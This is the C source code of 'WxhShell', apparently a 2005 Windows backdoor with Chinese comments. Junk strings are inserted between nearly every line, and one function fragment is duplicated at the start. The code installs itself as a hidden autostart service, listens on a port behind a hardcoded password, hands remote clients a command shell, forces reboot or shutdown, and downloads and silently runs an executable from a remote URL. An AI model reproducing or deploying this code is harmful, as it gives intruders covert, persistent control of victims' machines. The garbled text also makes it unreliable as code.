4W:S PROCNTQSIP NtQueryInformationProcess; I%43rdoPe tdn[]|= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *ws!8-)fH static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;N4b~k) [{ak&{R,9{ HANDLE hProcess; }MDu QP] PROCESS_BASIC_INFORMATION pbi; ->x+ p" is%qG?,P HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m?G}%u if(NULL == hInst ) return 0; dwKre#4F iXc-_V6 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QW.VAF\6* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k, )7v NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ANy=f-V h5G>FPM-= if (!NtQueryInformationProcess) return 0; SxYX`NQ ?]081l7cd hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CE>RAerY if(!hProcess) return 0; 1o7
pMp= /H=fK if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )FM/^ l|`%FB^ k CloseHandle(hProcess); UB]}j^ C26PQGo#$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^.F@yo2} if(hProcess==NULL) return 0; g83!il\ ]BU,*YaB HMODULE hMod; 7'_zJI^ char procName[255]; AG2iLictv unsigned long cbNeeded; MPMJkL$F^ .9WJ/RKZ\D if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UK2Y<\vD KE+y'j#C3 CloseHandle(hProcess); 8@|_];9#. #F.;N<a if(strstr(procName,"services")) return 1; // 以服务启动 >De\2gbJ y@J]busU return 0; // 注册表启动 kIV/o } 3ryIXC\v 2>#Pt^R:C // 主模块 wHk4BWg- int StartWxhshell(LPSTR lpCmdLine) 2f>lgZ! { ^u#!Yo.!( SOCKET wsl; TSmuNCR BOOL val=TRUE; VkT8l4($X< int port=0; o(w1!spA struct sockaddr_in door; Y'-BKZv! ^:K"Tv.= if(wscfg.ws_autoins) Install(); !'Xk=+ zr?%k]A%UO port=atoi(lpCmdLine); %-|Po:6 2"C'Au if(port<=0) port=wscfg.ws_port; LWc}j`Wd |]~tX zY WSADATA data; Gd`qZqx# if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )JTh=w4n|z d:O>--$_tw if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;Br8\2=$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kssS,Ogf\_ door.sin_family = AF_INET; zv!%u=49 door.sin_addr.s_addr = inet_addr("127.0.0.1"); $BG4M?Y door.sin_port = htons(port); y@'8vOh` {IJV(%E if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3x9O<H} closesocket(wsl); V<
0gD?Kx return 1; [a\:K2*' } Lw?4xerLsb )H#Hs<)Qy if(listen(wsl,2) == INVALID_SOCKET) { ErJi
closesocket(wsl); ' eO4h^ return 1; &}VGC=F;d } *@lNL=%R Wxhshell(wsl); M~;mamTP WSACleanup(); IP$^)t[ ~" B0P>7 return 0; xA#B1qbw 4hg]/X"H# } (1%u`#5n-N /sH3Rk.> // 以NT服务方式启动 &@c=$+#C VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p-UACMN&c { W+&ZYN'E DWORD status = 0; Vp\BNq_!s DWORD specificError = 0xfffffff; =U!'v X d CN\SxK`, serviceStatus.dwServiceType = SERVICE_WIN32; xZjD(e' serviceStatus.dwCurrentState = SERVICE_START_PENDING; |Rw0$he serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C
7YZ;{t serviceStatus.dwWin32ExitCode = 0; b4!(~"b. serviceStatus.dwServiceSpecificExitCode = 0; q/Ba#?sen serviceStatus.dwCheckPoint = 0; MftW^7W- serviceStatus.dwWaitHint = 0; {bl&r?[y ^6mlE+WY hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JSt%L|}Y if (hServiceStatusHandle==0) return; tXcc#!'4C v&i M/pJU status = GetLastError(); u }D.yI8 if (status!=NO_ERROR) <)n1Z[4 { Axhe9!Fm serviceStatus.dwCurrentState = SERVICE_STOPPED; }XWic88!~ serviceStatus.dwCheckPoint = 0; /}-]n81m serviceStatus.dwWaitHint = 0; BbA>1#i5] serviceStatus.dwWin32ExitCode = status; Cp&lS= serviceStatus.dwServiceSpecificExitCode = specificError; aAF:nyV~~0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ..3TB=Z# return; #IA[erf: } CtV$lXxup ^.&uYF& serviceStatus.dwCurrentState = SERVICE_RUNNING; ++F #Z(p serviceStatus.dwCheckPoint = 0; 7m{ 'V`F serviceStatus.dwWaitHint = 0; 2[LT!TT if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dY68wW>d| } "3LOL/7f Xz4!#,z/ // 处理NT服务事件,比如:启动、停止 v2G_p|+O VOID WINAPI NTServiceHandler(DWORD fdwControl) Pon 2!$ { IrjKI.PR switch(fdwControl) Aga2 I#1r { QK<sibDI case SERVICE_CONTROL_STOP: ;&37mO/T serviceStatus.dwWin32ExitCode = 0; 'ADt<m_$ serviceStatus.dwCurrentState = SERVICE_STOPPED; jn>3(GRGC$ serviceStatus.dwCheckPoint = 0; sbZ)z#Tr serviceStatus.dwWaitHint = 0; \/la`D { ` QXO+'j4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]8*g% } +'2Mj|d@p return; gpVZZ:~ case SERVICE_CONTROL_PAUSE: @zB {Ig serviceStatus.dwCurrentState = SERVICE_PAUSED; *oL?R2#7 break; 63QMv[`, case SERVICE_CONTROL_CONTINUE:
YH&`+ + serviceStatus.dwCurrentState = SERVICE_RUNNING; f%` =>l break; b/5?)!I case SERVICE_CONTROL_INTERROGATE: SN(:\|f
2 break; k q8:h }; $IA(QC_]AO SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oj\lg2Ck
} 2HoTj| tm @&f // 标准应用程序主函数 IkFrzw p int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c^><^LGb { ?<]BLkx a&6 3[p.<} // 获取操作系统版本 AIR,XlD OsIsNt=GetOsVer(); U8-#W(tRR GetModuleFileName(NULL,ExeFile,MAX_PATH); /jaTH_Q),: |Nd!+zE$Z // 从命令行安装 G)]'>m<y
if(strpbrk(lpCmdLine,"iI")) Install(); K>l$Y#x}k & V^Z // 下载执行文件 H)}>&Z4 if(wscfg.ws_downexe) { Ij` %'/J if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rE;*MqYt& WinExec(wscfg.ws_filenam,SW_HIDE); yhJH3< } v{Al>v}}n O
$'#8 if(!OsIsNt) { ?>cx;"xF // 如果时win9x,隐藏进程并且设置为注册表启动 LdwWB
`L HideProc(); ri1D*CS StartWxhshell(lpCmdLine); >0Y >T6! } x:\+{- else ^90';ACFy if(StartFromService()) z85%2Apd // 以服务方式启动 juG?kL. StartServiceCtrlDispatcher(DispatchTable); }pdn-# else H<#M)8 // 普通方式启动 #( F/P!qk StartWxhshell(lpCmdLine); JS<S?j?*/ <qT[ return 0; ?1*Ka } m_zl*s*6 .T
6NMIp* =e](eA; y<0zAsT =========================================== QMLz a\>+!Vq n/6#rj^$ NY
756B*
Y<-h#_ FeoI+KA " c[J?`8 gI "ZhYI #include <stdio.h> 4l7TrCB #include <string.h> c.dk4v%Y5 #include <windows.h> :7UC=GKQk #include <winsock2.h> \@;$xdA$ #include <winsvc.h> \(2w/~ #include <urlmon.h> (hNTr(z `qnp #pragma comment (lib, "Ws2_32.lib") Y[)b".K #pragma comment (lib, "urlmon.lib") e+6mbJ7y pFgpAxl #define MAX_USER 100 // 最大客户端连接数 qmqWMLfC #define BUF_SOCK 200 // sock buffer 5xC4lT/U #define KEY_BUFF 255 // 输入 buffer s!,m,l[P uNCM,J!#~ #define REBOOT 0 // 重启 /4/'&tY #define SHUTDOWN 1 // 关机 .DsdQ4Y + Ac.@!X}% #define DEF_PORT 5000 // 监听端口 WJWi'|C4 k-IL%+U #define REG_LEN 16 // 注册表键长度 p[R4!if2 #define SVC_LEN 80 // NT服务名长度 Q,R>dkS (VDY]Q) // 从dll定义API SW5V:|/ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uonCD8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #(swVo:+E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]8q#@%v} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [ )3rc}:1 */c4b:s // wxhshell配置信息 -fpe struct WSCFG { H3-(.l[!b) int ws_port; // 监听端口 ^Ej$o@PH char ws_passstr[REG_LEN]; // 口令 jq%%|J.x int ws_autoins; // 安装标记, 1=yes 0=no '&hz*yk char ws_regname[REG_LEN]; // 注册表键名 <G|i!Pm char ws_svcname[REG_LEN]; // 服务名 %O6r char ws_svcdisp[SVC_LEN]; // 服务显示名 !q\MXS($#u char ws_svcdesc[SVC_LEN]; // 服务描述信息 "Vh3hnS~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A,67)li3 int ws_downexe; // 下载执行标记, 1=yes 0=no -Zq\x' char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -yOwX2Wv5; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b S-o86u bGw56s'R5~ }; ` _aX>fw ICck 0S! // default Wxhshell configuration A0hKzj struct WSCFG wscfg={DEF_PORT, 6$CwH!42F "xuhuanlingzhe", Jq>rA 1, Z$?(~ln "Wxhshell", {uUV(FzF6 "Wxhshell", r1<dZtb "WxhShell Service", i>z_6Gax*[ "Wrsky Windows CmdShell Service", m)AF9#aT2 "Please Input Your Password: ", !/nXEjW? 1, Q^\m@7O
: "http://www.wrsky.com/wxhshell.exe", _%g L "Wxhshell.exe" P:D;w2'Q }; 8\WV.+ $ UNC0(4 // 消息定义模块 mtU{d^B char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {zX]41T char *msg_ws_prompt="\n\r? for help\n\r#>"; Fn>KdoByN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )<Fq}Q86 char *msg_ws_ext="\n\rExit."; w*?SGW char *msg_ws_end="\n\rQuit."; %xt;&HE char *msg_ws_boot="\n\rReboot..."; Q,nJz*AJ char *msg_ws_poff="\n\rShutdown..."; +3uPHpMB- char *msg_ws_down="\n\rSave to "; T@wgWE<0y_ 5{/uHscwLa char *msg_ws_err="\n\rErr!"; Q":,oZ2 char *msg_ws_ok="\n\rOK!"; wE[gp+X~ d|#&j." char ExeFile[MAX_PATH]; Sq&r
; int nUser = 0; ?f}?I`S, HANDLE handles[MAX_USER]; 1aI&jdJk int OsIsNt; p{
Xde $RH. SERVICE_STATUS serviceStatus; R
+
~b@ SERVICE_STATUS_HANDLE hServiceStatusHandle; ;b{yu| L4DT*(;!E // 函数声明 M*!WXQlud int Install(void); xXf,j#`" int Uninstall(void); .n n&K}h int DownloadFile(char *sURL, SOCKET wsh); Ff{,zfN+3 int Boot(int flag); BLN|QaZ void HideProc(void); 3daI_Nx> int GetOsVer(void); D@2L<!\ int Wxhshell(SOCKET wsl); arIEd VfNa void TalkWithClient(void *cs); Um}f7^fp^l int CmdShell(SOCKET sock); 1=Z!ZY}}e int StartFromService(void); 3Ccy %; int StartWxhshell(LPSTR lpCmdLine); InI>So%e|< 3v@h&7<E VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }u9#S VOID WINAPI NTServiceHandler( DWORD fdwControl ); SJB^dI**/d
(C;Q< // 数据结构和表定义 Rh}}8 sv SERVICE_TABLE_ENTRY DispatchTable[] = zO`4W!x& { @(bg# {wscfg.ws_svcname, NTServiceMain}, C. BlB {NULL, NULL} 2HUw^ *3 }; l`uI K. 7fI2b,~ // 自我安装 9tX+n{i int Install(void) Zg$S% 1(Q { i;rcgd char svExeFile[MAX_PATH]; )I#{\^ HKEY key; mC0_rN^Aj strcpy(svExeFile,ExeFile); - "NK"nb wn^#`s!]U // 如果是win9x系统,修改注册表设为自启动 Oa2\\I
if(!OsIsNt) { v,C~5J3h) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^@3,/dH1 t RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :YQI1 q[6 RegCloseKey(key); br^
A<@,d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &~Pk*A_: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *`}
!{
Mb RegCloseKey(key); k".kbwcaF return 0; (dfC}x(3h } lJ]]FuA-Q } zYrJHn#vB } nY7gST else { uu9IUqEq2 (\D E1q // 如果是NT以上系统,安装为系统服务 d~AL4~} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^U5Qb"hz if (schSCManager!=0) l\F71pwSI { V@g v SC_HANDLE schService = CreateService [YP{%1*RM ( [GPCd@ schSCManager, NVghkd wscfg.ws_svcname, CY*o"@-o5) wscfg.ws_svcdisp, -)Bvx>8fq- SERVICE_ALL_ACCESS, iO&*WIbg SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #i.,+Q SERVICE_AUTO_START, U?an\rv SERVICE_ERROR_NORMAL, r<'DS9m svExeFile, #}Yrxf NULL, J%-4ZB" NULL, {G0=A~ NULL, c<, LE@V NULL, NXQ=8o9,9 NULL -%5#0Ogh
M ); re_nb)4g if (schService!=0) ?2l`%l5( { + %v1X&_\ CloseServiceHandle(schService); jQxhR CloseServiceHandle(schSCManager); >+Ig<}p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Um}AV strcat(svExeFile,wscfg.ws_svcname); 7O'.KoMw if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q-<Qm ? RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ml$<x"Q RegCloseKey(key); 7nNNc[d*= return 0; j g//I<D } e
pp04~ } 7*j!ZUzp CloseServiceHandle(schSCManager); m";..V } 9Vqy<7i1 } Q?;Tc.O"/ {1Y@%e return 1; J^`5L7CO } -uWV(
,| Xp_m=QQsm // 自我卸载 {g#4E0.A! int Uninstall(void) H0#=oJr$)W { ]iGeqwT HKEY key; {aN pk,n R|}N"J _ if(!OsIsNt) { 1cv~_jFh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F$(ak;v} RegDeleteValue(key,wscfg.ws_regname); r8@]|`j RegCloseKey(key); t/Y0e#9, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bcarx<P-p RegDeleteValue(key,wscfg.ws_regname); 4xEw2F RegCloseKey(key); mE`qA*=? return 0; SOq:!Qt } b~}$Ch3ymW } |4g0@}nr+W } /W)A[jR else { =qc+sMo hrtz>qN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !ig&8: if (schSCManager!=0) GLyPgZ`| { :^WF%X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tH)jEY9 if (schService!=0) (bQ3:%nD { p09p/ if(DeleteService(schService)!=0) { 'Gqv`rq& CloseServiceHandle(schService); C&>*~ CloseServiceHandle(schSCManager); @`dg:P*[ return 0; >xabn*Kq } #kASy 2t CloseServiceHandle(schService); _<LL@IX } @U18Dj[ CloseServiceHandle(schSCManager); MNWI%*0LO } BH1h2OEe# } w^ut,`yWR oR&z,%0wMK return 1; Q8%_q"C } ?T2>juf]5~ nV7Vc; // 从指定url下载文件 S@qR~_>a int DownloadFile(char *sURL, SOCKET wsh) E I zy { .dk<?BI#H HRESULT hr; VJqk0w+ char seps[]= "/"; ]vlBYAW' char *token; R`cP%7K char *file; 1'\QD`M9^ char myURL[MAX_PATH]; X0u,QSt'O char myFILE[MAX_PATH]; q9_$&9 2^=.j2 strcpy(myURL,sURL); z'"7zLQ token=strtok(myURL,seps); qEr?4h while(token!=NULL) 4lB??`UN { /W$i8g file=token; 8{!d'Pks token=strtok(NULL,seps); 3{$7tck, } N
o6!gZ1 L)bMO8JH~m GetCurrentDirectory(MAX_PATH,myFILE); ##=$$1Ki strcat(myFILE, "\\"); 0o=HOCL\ strcat(myFILE, file); ^"X.aksA send(wsh,myFILE,strlen(myFILE),0); \jtA8o%n send(wsh,"...",3,0); 0SQr%:zG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >Ua'* if(hr==S_OK) ^sD
M>OHp return 0;
2Qp}f^ else N!7}B return 1; iyl
i/3| RkYn6 } Q+=pP'cV P[WkW# // 系统电源模块 Dz: +.
@k int Boot(int flag) ^obuMQ; { (c(F1=K HANDLE hToken; p0bWzIH TOKEN_PRIVILEGES tkp; Bzrnmz5S 0cq@lT6 if(OsIsNt) { H\Ra*EO~j OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RJ{$`d LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +gX,r$bX tkp.PrivilegeCount = 1; 0I)$!1~O) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l~rj7f; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 172 G if(flag==REBOOT) { 4w^o ! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q++r\d^{ return 0; x,,y}_YX } LpU}. else { 6P1s*u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tk%f_"} return 0; sllT1%? } bV8+Eu } A)&FcMO*z else { hy*{{f; if(flag==REBOOT) { JpC'(N if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bQt:=> return 0; <
'5~p$ } 35& ^spb else { [tpiU'/Zl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qNQ54# return 0; 8}B } =%X."i1A } N'v3
|g R |c=I}@F return 1; 7Jf~Bn } j,M$l mR') %e E^Y<@g // win9x进程隐藏模块 |h]V9= void HideProc(void) fg^25g'_ { fjRVYOG#
OUv<a`0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pLB2! + if ( hKernel != NULL ) UCLM*`M { d05xn7%!{ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,Xn2xOP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n%&L&G FreeLibrary(hKernel); Ay16/7h@hi } p R'J4~
IOl_J>D]F return; X.fVbePxUU } 4XN
\p Qg*\aa94 // 获取操作系统版本 0\dmp'j] int GetOsVer(void) .EKlw## { +/ukS6>gr OSVERSIONINFO winfo; M~:_^B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +Q5O$8i GetVersionEx(&winfo); ?"x4u#x if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C}8#yAS9M return 1; b(*\4n else RQ,#TbAe return 0; D\Ak-$kJ^ } QL/KY G \;{ ]YX // 客户端句柄模块 t?GH
V3V int Wxhshell(SOCKET wsl) d51lTGH7Z { <Vhd4c SOCKET wsh; G^c,i5}w struct sockaddr_in client; W0gS>L_ DWORD myID; I=0c\ U} \OwF!~& while(nUser<MAX_USER) Unk/uk { @{y'_fw int nSize=sizeof(client); op6]"ZV-C wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xh@K89`uX if(wsh==INVALID_SOCKET) return 1; ^Oz~T|) @nktD. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -zg*p&F if(handles[nUser]==0) /Y0~BQC7! closesocket(wsh); >. |({;n9 else ?:;;0kSk nUser++; b RR N } H/D=$)3op WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F!vrvlD`s ,h*gd^i return 0; N*Aw-\Bk } AFAg3/ 4=yzf // 关闭 socket S#/BWNz| void CloseIt(SOCKET wsh) 8}'iEj^e { C]L)nCOBX closesocket(wsh); hfwJZ\_60 nUser--; )CFJXc: ExitThread(0); f8Hq&_Pn } ~apt,hl hG1$YE // 客户端请求句柄 -<g9) CV5 void TalkWithClient(void *cs) v
vErzUxN { cIU2 qFn[ Z<vz%7w SOCKET wsh=(SOCKET)cs; A0{xt*g char pwd[SVC_LEN]; t!?`2Z5 char cmd[KEY_BUFF]; !l'nX char chr[1]; 'm`O34h int i,j; uN%Cc12 vpu#!(N while (nUser < MAX_USER) { Ik:G5m<ta aq?bI:>8 if(wscfg.ws_passstr) { scV%p&{a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AwJg/VBo) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xQFRM aQE //ZeroMemory(pwd,KEY_BUFF); 5 {! fa i=0; r^ ,_m,s'< while(i<SVC_LEN) {
4E''pW]8 L=<xTbY // 设置超时 Thggas, fd_set FdRead; Igo`\JY struct timeval TimeOut; 5U?O1}P FD_ZERO(&FdRead); QV[&2&&^<< FD_SET(wsh,&FdRead); yX
rI TimeOut.tv_sec=8; D2ggFxqe TimeOut.tv_usec=0; mIlg=8: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?_]Y8f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q`e0%^U kepuh%KY[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) 57'< pwd=chr[0]; x^y$ pr if(chr[0]==0xd || chr[0]==0xa) { khX/xL pwd=0; uz3cho' break; 0}i
9`p } lU1SN/'zx i++; e@hPb$7 } :DH@zR 1]}\h]* // 如果是非法用户,关闭 socket !&U75FpN}: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <$nPGz)} } ]TrJ*~ 30h[&Oc send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +k=*AQt^8 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8r(Vz lO@-*m$
while(1) { qZ<n\Mt ]yOM ZeroMemory(cmd,KEY_BUFF); 2^XmtT u$w.'lK // 自动支持客户端 telnet标准 @5Z|e j=0; kHK<~srB while(j<KEY_BUFF) { $
DN. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U`*we43 cmd[j]=chr[0]; ~D5
-G?%$" if(chr[0]==0xa || chr[0]==0xd) { }-[l)<F: cmd[j]=0; X"Eqhl<t break; SrA6}kS } K E\>T: j++; {tVA(&\< } jnV#Q
; H;=yR]E // 下载文件 Yyk~!G/@ if(strstr(cmd,"http://")) { sD3Ts;k send(wsh,msg_ws_down,strlen(msg_ws_down),0); }Z <I%GT if(DownloadFile(cmd,wsh)) 1^k}GXsWmE send(wsh,msg_ws_err,strlen(msg_ws_err),0); >D=X
Tgqqq else T#&1q]P1F send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -n:2US< } R5sEQ| E else { (0`rfYv5.R puOMtCI switch(cmd[0]) { #7fOH
U8v x.gz sd // 帮助 |mhKD#: case '?': { oX6Cd:c- send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $bp'b<jx break; D u<P^CE } ~Dg:siw // 安装 @.e4~qz\ case 'i': { !UzE&CirV if(Install()) ,vR>hyM send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ll&EB else ccv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0Cc3NNdz break; o=VZ7] } ;$eY#ypx // 卸载 bP:u`!p
-i case 'r': { 1mV
'
~W if(Uninstall()) Q*1Avy6] send(wsh,msg_ws_err,strlen(msg_ws_err),0); li3X} else (fc_V[(m" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UHJro9 break; ZV Ko$q:F } ycN!N // 显示 wxhshell 所在路径 PR;Bxy case 'p': { 4gZ R!J char svExeFile[MAX_PATH]; E2hML strcpy(svExeFile,"\n\r"); V^(W)\ strcat(svExeFile,ExeFile); 5P*jGOg . send(wsh,svExeFile,strlen(svExeFile),0); 319 4] break; ; <- f } 3meZ]u // 重启 P'}EZ' case 'b': { JNU9RxR send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8f,",NCgc if(Boot(REBOOT)) yJx,4be send(wsh,msg_ws_err,strlen(msg_ws_err),0); %5ov!nm7 else { } %3;j5 ;6 closesocket(wsh); w_@6!zm ExitThread(0); :4:U\k;QwA } 6hcs)X7m break; #E4oq9{0*W } ^g'uR@uU // 关机 N]BH6 7< case 'd': { w&U28"i> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :hHKm|1FE if(Boot(SHUTDOWN)) k H06Cb send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5G<`c else { |}l/6WHB closesocket(wsh); SOD3MsAK ExitThread(0); 1\TkI=N3 } B
\V;{: break; c3fd6Je5 } x}C$/ 7^ // 获取shell (>Sy, case 's': { 1\jj3Y'i' CmdShell(wsh); I/h( *~/ closesocket(wsh); 8yr-X!eF ExitThread(0); Mt4`~`6 break; wC1)\ld } Qz"@<qgQy // 退出 @
/e{-Q case 'x': { 8v)Z/R- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kaZcYuT.9 CloseIt(wsh); 'mU\X!-
4< break; %)}_OXWf: } ZA4sEVHW // 离开 ^]LWcJ?"^! case 'q': { CIR2sr0a send(wsh,msg_ws_end,strlen(msg_ws_end),0); h#h)=; closesocket(wsh); ud(w0eX WSACleanup(); en MHKN g exit(1); Zf)<)o* break; >wV2` 6 } ++kVq$9@y } gZ(\/m8Z } -OQ6;A"# 6.v)q,JL // 提示信息 e~G IUwJ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _T^@,!& } G!GGT?J } B3u:D"t ovtZHq/ return; cMUmJH } P; =,Q$e8 %yy|B // shell模块句柄 pr"q-S>E int CmdShell(SOCKET sock) w=" { K?wo AuY STARTUPINFO si;
4m9]d) ZeroMemory(&si,sizeof(si)); ds+0y;vc si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =sXk,I; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e=6C0fr PROCESS_INFORMATION ProcessInfo; #w[Ie+ char cmdline[]="cmd"; \T!tUd CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $8_b[~%2 return 0; m!<uY?,hf } w##$SaTI c+TCC%AJQI // 自身启动模式 d_Y7/_i int StartFromService(void) 5DeAH; { mVyF M -` typedef struct _`]YWvh { /vPcg DWORD ExitStatus; *Q3q(rdrp DWORD PebBaseAddress; r/ LgmVRn DWORD AffinityMask; tw]Q5:6 DWORD BasePriority; ^X?3e1om ULONG UniqueProcessId; c(S66lp ULONG InheritedFromUniqueProcessId; >x1?t } PROCESS_BASIC_INFORMATION; i\P)P! rcMSso2 PROCNTQSIP NtQueryInformationProcess; f,Dj@?3+ z!\)sL/" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &q[`lIV, L static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )mXu{uowr 2G`tS=Un HANDLE hProcess; ~LN
{5zg PROCESS_BASIC_INFORMATION pbi; AtlUxFX0S 6SD9lgF*- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t'Pn* if(NULL == hInst ) return 0; .37Jrh0Iv zC\L-i>G g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !.5,RIf g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4T:@W C NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); e/!xyd _"c?[n if (!NtQueryInformationProcess) return 0; PeB7Q=d)K1 Zut"P3d=J hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +dSO?Y] if(!hProcess) return 0; Xkb\fR6<K -Fs<{^E3j if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9rhl2E eB*0}) CloseHandle(hProcess); B=+Py% _ye74$# 